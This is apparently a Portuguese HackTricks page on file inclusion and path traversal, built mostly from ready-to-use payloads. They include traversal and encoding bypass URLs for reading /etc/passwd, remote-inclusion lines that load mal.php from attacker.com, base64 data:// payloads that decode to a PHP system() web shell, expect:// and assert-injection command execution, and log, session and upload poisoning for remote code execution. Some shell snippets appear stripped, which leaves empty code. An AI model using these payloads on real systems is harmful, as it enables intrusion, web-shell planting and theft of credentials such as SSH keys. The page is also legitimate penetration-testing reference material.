# Inclusão de Arquivos/Travessia de Caminho
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs! **Insights de Hacking**\ Engaje-se com conteúdo que explora a emoção e os desafios do hacking **Notícias de Hacking em Tempo Real**\ Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real **Últimos Anúncios**\ Fique informado sobre os lançamentos de novas recompensas por bugs e atualizações importantes da plataforma **Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje mesmo! ## Inclusão de Arquivos **Inclusão Remota de Arquivos (RFI):** O arquivo é carregado de um servidor remoto (Melhor: Você pode escrever o código e o servidor o executará). Em php isso é **desativado** por padrão (**allow\_url\_include**).\ **Inclusão Local de Arquivos (LFI):** O servidor carrega um arquivo local. A vulnerabilidade ocorre quando o usuário pode controlar de alguma forma o arquivo que será carregado pelo servidor. **Funções PHP vulneráveis**: require, require\_once, include, include\_once Uma ferramenta interessante para explorar essa vulnerabilidade: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) ## Cego - Interessante - Arquivos LFI2RCE ```python wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ ``` ### **Linux** **Misturando várias listas LFI \*nix e adicionando mais caminhos, criei esta:** {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %} Tente também mudar `/` por `\`\ Tente também adicionar `../../../../../` Uma lista que utiliza várias técnicas para encontrar o arquivo /etc/password (para verificar se a vulnerabilidade existe) pode ser encontrada [aqui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) ### **Windows** Mesclando várias listas, criei: {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %} Tente também mudar `/` por `\`\ Tente também remover `C:/` e adicionar `../../../../../` Uma lista que utiliza várias técnicas para encontrar o arquivo /boot.ini (para verificar se a vulnerabilidade existe) pode ser encontrada [aqui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) ### **OS X** Verifique a lista LFI de linux. ## LFI básico e bypasses Todos os exemplos são para Inclusão Local de Arquivos, mas também podem ser aplicados a Inclusão Remota de Arquivos (página=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/). ``` http://example.com/index.php?page=../../../etc/passwd ``` ### sequências de travessia removidas de forma não-recursiva ```python http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **Byte Nulo (%00)** Bypass para não acrescentar mais caracteres ao final da string fornecida (bypass de: $\_GET\['param']."php") ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` Esta é uma **solução desde o PHP 5.4** ### **Codificação** Você pode usar codificações não padrão como codificação dupla de URL (e outras): ``` http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` ### De pasta existente Talvez o back-end esteja verificando o caminho da pasta: ```python http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` ### Identificando pastas em um servidor Dependendo do código aplicativo / caracteres permitidos, pode ser possível explorar recursivamente o sistema de arquivos descobrindo pastas e não apenas arquivos. Para fazer isso: * identifique a "profundidade" do seu diretório atual obtendo com sucesso `/etc/passwd` (se estiver em Linux): ``` http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` * tente adivinhar o nome de uma pasta no diretório atual adicionando o nome da pasta (aqui, `private`), e depois voltando para `/etc/passwd`: ``` http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd ``` * se a aplicação for vulnerável, podem ocorrer dois resultados diferentes para a solicitação: * se você receber um erro / nenhum resultado, a pasta `private` não existe neste local * se você receber o conteúdo de `/etc/passwd`, você validou que realmente existe uma pasta `private` no seu diretório atual * as pasta(s) que você descobriu usando esta técnica podem então ser exploradas para arquivos (usando um método clássico de LFI) ou para subdiretórios usando a mesma técnica recursivamente. É possível adaptar esta técnica para encontrar diretórios em qualquer local no sistema de arquivos. Por exemplo, se, sob a mesma hipótese (diretório atual no nível 3 do sistema de arquivos) você quiser verificar se `/var/www/` contém um diretório `private`, use o seguinte payload: ``` http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ```markdown A seguinte sequência de comandos permite a geração de payloads usando `sed` (1) como entrada para ferramentas de fuzzing de URL como `ffuf` (2): ``` ``` $ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt $ ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root" $ ffuf -u http://owasp.ctf.intigriti.io/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200 -e '.php~,.php.old,.php.bak,.php.swp,.php.sav,.php.save' ``` Claro, adapte esses payloads às suas necessidades em termos de profundidade/localização/lista de diretórios de entrada. ### **Path truncation** Burlar o acréscimo de mais caracteres no final da string fornecida (burla de: $\_GET\['param']."php") ``` In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/. Check if last 6 chars are passwd --> passwd/ Check if last 4 chars are ".php" --> shellcode.php/. ``` ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\. http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. #With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027) http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` Sempre tente **iniciar** o caminho **com um diretório falso** (a/). **Essa vulnerabilidade foi corrigida no PHP 5.3.** ### **Truques para burlar filtros** ``` http://example.com/index.php?page=....//....//etc/passwd http://example.com/index.php?page=..///////..////..//////etc/passwd http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd http://example.com/index.php?page=PhP://filter ``` ## Inclusão Remota de Arquivos Em php isso é desativado por padrão porque **`allow_url_include`** está **Off.** Ele deve estar **On** para funcionar, e nesse caso você poderia incluir um arquivo PHP do seu servidor e obter RCE: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` Se por algum motivo **`allow_url_include`** estiver **On**, mas o PHP estiver **filtrando** o acesso a páginas web externas, [de acordo com este post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), você poderia usar, por exemplo, o protocolo de dados com base64 para decodificar um código PHP em b64 e obter RCE: {% code overflow="wrap" %} ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` {% endcode %} {% hint style="info" %} No código anterior, o final `+.txt` foi adicionado porque o atacante precisava de uma string que terminasse em `.txt`, assim a string termina com isso e após o b64 decode essa parte retornará apenas lixo e o verdadeiro código PHP será incluído (e, portanto, executado). {% endhint %} Outro exemplo **não utilizando o protocolo `php://`** seria: {% code overflow="wrap" %} ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` ## Elemento Raiz em Python Em python em um código como este: ```python # file_name is controlled by a user os.path.join(os.getcwd(), "public", file_name) ``` Se o usuário passar um **caminho absoluto** para **`file_name`**, o **caminho anterior é simplesmente removido**: ```python os.path.join(os.getcwd(), "public", "/etc/passwd") '/etc/passwd' ``` É o comportamento pretendido de acordo com [a documentação](https://docs.python.org/3.10/library/os.path.html#os.path.join): > Se um componente for um caminho absoluto, todos os componentes anteriores são descartados e a junção continua a partir do componente do caminho absoluto. ## Java Listar Diretórios Parece que se você tem um Path Traversal em Java e você **solicita um diretório** em vez de um arquivo, uma **listagem do diretório é retornada**. Isso não acontecerá em outras linguagens (até onde eu sei). ## Top 25 parâmetros Aqui está uma lista dos 25 principais parâmetros que podem ser vulneráveis a vulnerabilidades de inclusão de arquivo local (LFI) (de [link](https://twitter.com/trbughunters/status/1279768631845494787)): ``` ?cat={payload} ?dir={payload} ?action={payload} ?board={payload} ?date={payload} ?detail={payload} ?file={payload} ?download={payload} ?path={payload} ?folder={payload} ?prefix={payload} ?include={payload} ?page={payload} ?inc={payload} ?locate={payload} ?show={payload} ?doc={payload} ?site={payload} ?type={payload} ?view={payload} ?content={payload} ?document={payload} ?layout={payload} ?mod={payload} ?conf={payload} ``` ## LFI / RFI usando wrappers & protocolos PHP ### php://filter Os filtros PHP permitem realizar **operações básicas de modificação nos dados** antes de serem lidos ou escritos. Existem 5 categorias de filtros: * [Filtros de String](https://www.php.net/manual/en/filters.string.php): * `string.rot13` * `string.toupper` * `string.tolower` * `string.strip_tags`: Remove tags dos dados (tudo entre os caracteres "<" e ">") * Note que este filtro desapareceu das versões modernas do PHP * [Filtros de Conversão](https://www.php.net/manual/en/filters.convert.php) * `convert.base64-encode` * `convert.base64-decode` * `convert.quoted-printable-encode` * `convert.quoted-printable-decode` * `convert.iconv.*` : Transforma para uma codificação diferente (`convert.iconv..`). Para obter a **lista de todas as codificações** suportadas, execute no console: `iconv -l` {% hint style="warning" %} Abusando do filtro de conversão `convert.iconv.*` você pode **gerar texto arbitrário**, o que pode ser útil para escrever texto arbitrário ou fazer uma função como include processar texto arbitrário. Para mais informações, verifique [**LFI2RCE via filtros PHP**](lfi2rce-via-php-filters.md). {% endhint %} * [Filtros de Compressão](https://www.php.net/manual/en/filters.compression.php) * `zlib.deflate`: Comprime o conteúdo (útil se estiver exfiltrando muitas informações) * `zlib.inflate`: Descomprime os dados * [Filtros de Criptografia](https://www.php.net/manual/en/filters.encryption.php) * `mcrypt.*` : Obsoleto * `mdecrypt.*` : Obsoleto * Outros Filtros * Executando no PHP `var_dump(stream_get_filters());` você pode encontrar alguns **filtros inesperados**: * `consumed` * `dechunk`: reverte a codificação de fragmentação HTTP * `convert.*` ```php # String Filters ## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd"); ## Same chain without the "|" char echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd"); ## string.string_tags example echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,Boldlalalala"); # Conversion filter ## B64 decode echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8="); ## Chain B64 encode and decode echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd"); ## convert.quoted-printable-encode example echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo="); =C2=A3hellooo=3D ## convert.iconv.utf-8.utf-16le echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo="); # Compresion Filter ## Compress + B64 echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd"); readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient) ``` {% hint style="warning" %} A parte "php://filter" não é sensível a maiúsculas e minúsculas {% endhint %} ### php://fd Este wrapper permite acessar descritores de arquivo que o processo tem aberto. Potencialmente útil para exfiltrar o conteúdo de arquivos abertos: ```php echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); ``` Você também pode usar **php://stdin, php://stdout e php://stderr** para acessar os **descritores de arquivo 0, 1 e 2**, respectivamente (não tenho certeza de como isso pode ser útil em um ataque) ### zip:// e rar:// Faça upload de um arquivo Zip ou Rar com um PHPShell dentro e acesse-o.\ Para poder abusar do protocolo rar, ele **precisa ser especificamente ativado**. ```bash echo "
" > payload.php; zip payload.zip payload.php; mv payload.zip shell.jpg; rm payload.php http://example.com/index.php?page=zip://shell.jpg%23payload.php # To compress with rar rar a payload.rar payload.php; mv payload.rar shell.jpg; rm payload.php http://example.com/index.php?page=rar://shell.jpg%23payload.php ``` ### data:// ``` http://example.net/?page=data://text/plain, http://example.net/?page=data://text/plain, http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` Fato curioso: você pode acionar um XSS e contornar o Auditor do Chrome com: `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+` Observe que este protocolo é restrito pelas configurações do php **`allow_url_open`** e **`allow_url_include`** ### expect:// Expect deve estar ativado. Você pode executar código usando isso. ``` http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls ``` ### input:// Especifique seu payload nos parâmetros POST ``` http://example.com/index.php?page=php://input POST DATA: ``` ### phar:// Um arquivo `.phar` também pode ser usado para executar código PHP se a web estiver usando alguma função como `include` para carregar o arquivo. {% code title="create_phar.php" %} ```python startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub(''); $phar->stopBuffering(); ``` {% endcode %} E você pode compilar o `phar` executando a seguinte linha: ```bash php --define phar.readonly=0 create_path.php ``` Um arquivo chamado `test.phar` será gerado, que você pode usar para abusar do LFI. Se o LFI está apenas lendo o arquivo e não executando o código PHP dentro dele, por exemplo, usando funções como _**file\_get\_contents(), fopen(), file() ou file\_exists(), md5\_file(), filemtime() ou filesize()**_**.** Você pode tentar abusar de uma **deserialização** que ocorre ao **ler** um **arquivo** usando o protocolo **phar**.\ Para mais informações, leia o seguinte post: {% content-ref url="phar-deserialization.md" %} [phar-deserialization.md](phar-deserialization.md) {% endcontent-ref %} ### Mais protocolos Confira mais[ **protocolos possíveis para incluir aqui**](https://www.php.net/manual/pt_BR/wrappers.php)**:** * [php://memory e php://temp](https://www.php.net/manual/pt_BR/wrappers.php.php#wrappers.php.memory) — Escrever na memória ou em um arquivo temporário (não tenho certeza de como isso pode ser útil em um ataque de inclusão de arquivo) * [file://](https://www.php.net/manual/pt_BR/wrappers.file.php) — Acessando sistema de arquivos local * [http://](https://www.php.net/manual/pt_BR/wrappers.http.php) — Acessando URLs HTTP(s) * [ftp://](https://www.php.net/manual/pt_BR/wrappers.ftp.php) — Acessando URLs FTP(s) * [zlib://](https://www.php.net/manual/pt_BR/wrappers.compression.php) — Streams de Compressão * [glob://](https://www.php.net/manual/pt_BR/wrappers.glob.php) — Encontrar caminhos que correspondam a um padrão (Não retorna nada imprimível, então não é realmente útil aqui) * [ssh2://](https://www.php.net/manual/pt_BR/wrappers.ssh2.php) — Secure Shell 2 * [ogg://](https://www.php.net/manual/pt_BR/wrappers.audio.php) — Streams de Áudio (Não útil para ler arquivos arbitrários) ## LFI via 'assert' do PHP Se você encontrar um LFI difícil que parece estar filtrando strings de travessia como ".." e respondendo com algo como "Tentativa de hacking" ou "Boa tentativa!", um payload de injeção 'assert' pode funcionar. Um payload como este: ``` ' and die(show_source('/etc/passwd')) or ' ``` irá explorar com sucesso o código PHP para um parâmetro "file" que se parece com isto: ```bash assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); ``` Também é possível obter RCE em uma instrução "assert" vulnerável usando a função system(): ``` ' and die(system("whoami")) or ' ``` Certifique-se de codificar as cargas úteis para URL antes de enviá-las.
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs! **Insights de Hacking**\ Interaja com conteúdos que exploram a emoção e os desafios do hacking **Notícias de Hacking em Tempo Real**\ Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real **Últimos Anúncios**\ Fique informado com os lançamentos de novas recompensas por bugs e atualizações críticas da plataforma **Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje mesmo! ## PHP Blind Path Traversal {% hint style="warning" %} Esta técnica é relevante em casos onde você **controla** o **caminho do arquivo** de uma **função PHP** que acessará um arquivo, mas você não verá o conteúdo do arquivo (como uma chamada simples para **`file()`**), mas o conteúdo não é exibido. {% endhint %} Neste [**post incrível**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html), é explicado como um blind path traversal pode ser abusado via filtro PHP para **exfiltrar o conteúdo de um arquivo através de um oráculo de erro**. Em resumo, a técnica usa a codificação **"UCS-4LE"** para tornar o conteúdo de um arquivo tão **grande** que a **função PHP que abre** o arquivo acionará um **erro**. Então, para vazar o primeiro caractere, o filtro **`dechunk`** é usado junto com outros, como **base64** ou **rot13**, e finalmente os filtros **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** são usados para **colocar outros caracteres no início e vazá-los**. **Funções que podem ser vulneráveis**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (apenas alvo de leitura com isso)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` Para os detalhes técnicos, confira o post mencionado! ## LFI2RCE ### Inclusão Remota de Arquivo Explicado anteriormente, [**siga este link**](./#remote-file-inclusion). ### Via arquivo de log do Apache/Nginx Se o servidor Apache ou Nginx for **vulnerável a LFI** dentro da função include, você poderia tentar acessar **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, definir dentro do **user agent** ou dentro de um parâmetro **GET** um shell PHP como **``** e incluir esse arquivo {% hint style="warning" %} Note que **se você usar aspas duplas** para o shell em vez de **aspas simples**, as aspas duplas serão modificadas para a string "_**quote;**_", **PHP lançará um erro** e **nada mais será executado**. Além disso, certifique-se de **escrever corretamente a carga útil** ou o PHP apresentará erro toda vez que tentar carregar o arquivo de log e você não terá uma segunda oportunidade. {% endhint %} Isso também poderia ser feito em outros logs, mas **tenha cuidado**, o código dentro dos logs pode ser codificado para URL e isso poderia destruir o Shell. O cabeçalho de **autorização "basic"** contém "usuário:senha" em Base64 e é decodificado dentro dos logs. O PHPShell poderia ser inserido dentro deste cabeçalho.\ Outros possíveis caminhos de logs: ```python /var/log/apache2/access.log /var/log/apache/access.log /var/log/apache2/error.log /var/log/apache/error.log /usr/local/apache/log/error_log /usr/local/apache2/log/error_log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/httpd/error_log ``` Lista de fuzzing: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) ### Via Email **Envie um email** para uma conta interna (user@localhost) contendo seu payload PHP como `` e tente incluir no email do usuário com um caminho como **`/var/mail/`** ou **`/var/spool/mail/`** ### Via /proc/\*/fd/\* 1. Faça upload de muitos shells (por exemplo: 100) 2. Inclua [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), com $PID = PID do processo (pode ser forçado bruscamente) e $FD o descritor de arquivo (também pode ser forçado bruscamente) ### Via /proc/self/environ Como um arquivo de log, envie o payload no User-Agent, ele será refletido dentro do arquivo /proc/self/environ ``` GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` ### Via upload Se você pode fazer upload de um arquivo, basta injetar o payload de shell nele (exemplo: ``). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` Para manter o arquivo legível, é melhor injetar nos metadados das imagens/doc/pdf ### Via upload de arquivo Zip Faça o upload de um arquivo ZIP contendo um shell PHP comprimido e acesse: ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` ### Via sessões PHP Verifique se o website utiliza Sessão PHP (PHPSESSID) ``` Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` Em PHP, essas sessões são armazenadas em arquivos _/var/lib/php5/sess\\_\[PHPSESSID]\_ ``` /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; ``` Defina o cookie para `` ``` login=1&user=&pass=password&lang=en_us.php ``` Use o LFI para incluir o arquivo de sessão PHP ``` login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 ``` ### Via ssh Se o ssh estiver ativo, verifique qual usuário está sendo usado (/proc/self/status & /etc/passwd) e tente acessar **\/.ssh/id\_rsa** ### **Via** **vsftpd** _**logs**_ Os logs deste servidor FTP são armazenados em _**/var/log/vsftpd.log.**_ Se você tem um LFI e pode acessar um servidor vsftpd exposto, você poderia tentar fazer login configurando o payload PHP no nome de usuário e depois acessar os logs usando o LFI. ### Via filtro base64 do php (usando base64) como mostrado [neste](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artigo, o filtro base64 do PHP simplesmente ignora caracteres que não são base64. Você pode usar isso para contornar a verificação de extensão de arquivo: se você fornecer base64 que termina com ".php", ele simplesmente ignorará o "." e acrescentará "php" ao base64. Aqui está um exemplo de payload: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php NOTE: the payload is "" ``` ### Via filtros php (nenhum arquivo necessário) Este [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que você pode usar **filtros php para gerar conteúdo arbitrário** como saída. O que basicamente significa que você pode **gerar código php arbitrário** para o include **sem precisar escrever** em um arquivo. {% content-ref url="lfi2rce-via-php-filters.md" %} [lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md) {% endcontent-ref %} ### Via falha de segmentação **Envie** um arquivo que será armazenado como **temporário** em `/tmp`, depois, na **mesma requisição,** provoque uma **falha de segmentação**, e então o **arquivo temporário não será excluído** e você poderá procurá-lo. {% content-ref url="lfi2rce-via-segmentation-fault.md" %} [lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md) {% endcontent-ref %} ### Via armazenamento temporário de arquivos do Nginx Se você encontrou uma **Inclusão Local de Arquivo** e o **Nginx** está rodando na frente do PHP, você pode ser capaz de obter RCE com a seguinte técnica: {% content-ref url="lfi2rce-via-nginx-temp-files.md" %} [lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md) {% endcontent-ref %} ### Via PHP\_SESSION\_UPLOAD\_PROGRESS Se você encontrou uma **Inclusão Local de Arquivo** mesmo que você **não tenha uma sessão** e `session.auto_start` esteja `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** em dados **multipart POST**, o PHP **ativará a sessão para você**. Você poderia abusar disso para obter RCE: {% content-ref url="via-php_session_upload_progress.md" %} [via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md) {% endcontent-ref %} ### Via uploads de arquivos temporários no Windows Se você encontrou uma **Inclusão Local de Arquivo** e o servidor está rodando no **Windows**, você pode conseguir RCE: {% content-ref url="lfi2rce-via-temp-file-uploads.md" %} [lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md) {% endcontent-ref %} ### Via phpinfo() (file\_uploads = on) Se você encontrou uma **Inclusão Local de Arquivo** e um arquivo expondo **phpinfo()** com file\_uploads = on, você pode conseguir RCE: {% content-ref url="lfi2rce-via-phpinfo.md" %} [lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md) {% endcontent-ref %} ### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Divulgação de Caminho Se você encontrou uma **Inclusão Local de Arquivo** e você **pode exfiltrar o caminho** do arquivo temporário MAS o **servidor** está **verificando** se o **arquivo a ser incluído tem marcas PHP**, você pode tentar **burlar essa verificação** com esta **Condição de Corrida**: {% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} [lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md) {% endcontent-ref %} ### Via espera eterna + força bruta Se você pode abusar do LFI para **enviar arquivos temporários** e fazer o servidor **suspender** a execução do PHP, você poderia então **forçar bruta nomes de arquivos durante horas** para encontrar o arquivo temporário: {% content-ref url="lfi2rce-via-eternal-waiting.md" %} [lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md) {% endcontent-ref %} ### Para Erro Fatal Se você incluir qualquer um dos arquivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Você precisa incluir o mesmo duas vezes para provocar esse erro). **Não sei como isso pode ser útil, mas pode ser.**\ _Mesmo que você cause um Erro Fatal PHP, arquivos temporários enviados são excluídos._
## Referências [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\ [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) {% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs! **Insights de Hacking**\ Engaje-se com conteúdo que explora a emoção e os desafios do hacking **Notícias de Hacking em Tempo Real**\ Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real **Últimos Anúncios**\ Fique informado com os mais novos lançamentos de recompensas por bugs e atualizações cruciais da plataforma **Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe suas dicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).